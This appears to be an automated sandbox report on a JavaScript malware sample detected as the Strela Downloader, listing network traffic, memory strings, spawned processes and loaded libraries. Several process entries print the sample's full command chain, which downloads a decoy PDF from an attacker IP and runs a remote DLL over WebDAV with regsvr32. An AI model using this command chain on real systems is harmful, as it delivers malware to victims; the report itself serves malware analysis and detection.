HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1328700154.0000022F1C9BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1411563772.000001E9B088C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1396081748.000001E9B08AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1411501269.000001E9B0858000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1399896307.000001E9B088C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1411563772.000001E9B08AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1411501269.000001E9B0858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2630609429.0000019FA70A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1400511261.0000019FA7200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8088, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 251443863021115246.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdsmbham.uvp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1764,i,9282616568081772246,3580024921873919150,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1764,i,9282616568081772246,3580024921873919150,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
